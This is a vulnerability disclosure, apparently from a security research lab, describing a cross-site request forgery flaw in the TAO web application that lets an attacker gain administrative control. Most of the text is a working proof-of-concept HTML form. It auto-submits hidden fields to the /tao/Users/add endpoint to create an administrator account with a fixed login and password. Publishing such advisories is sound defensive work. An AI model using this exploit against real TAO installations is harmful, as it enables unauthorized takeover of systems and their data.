High-Tech Bridge Security Research Lab discovered vulnerability in TAO, which can be exploited to gain complete administrative control over the vulnerable application.
The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can trick a website administrator to open a specially crafted link and create a new account with administrative privileges.
The simple exploit code below creates administrative account with login “immuniweb” and password “immuniweb1”:
<form action=“http://[host]/tao/Users/add” method=“post” name=“main”>
<input type=“hidden” name=“user_form_sent” value=“1”>
<input type=“hidden” name=“tao.forms.instance” value=“1”>
<input type=“hidden” name=“http_2_www_0_w3_0_org_1_2000_1_01_1_rdf-schema_3_label” value=“User+5”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName” value=“First Name”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName” value=“Last Name”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail” value="[email protected]">
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_login” value=“immuniweb”>
<input type=“hidden” name=“password1” value=“immuniweb1”>
<input type=“hidden” name=“password2” value=“immuniweb1”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userDefLg” value=“http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg” value=“http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US”>
<input type=“hidden” name=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_0” value=“http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_GenerisRole”>
< input type=“hidden” name=“” value=“”>
<input type=“submit” id=“btn”>
</form>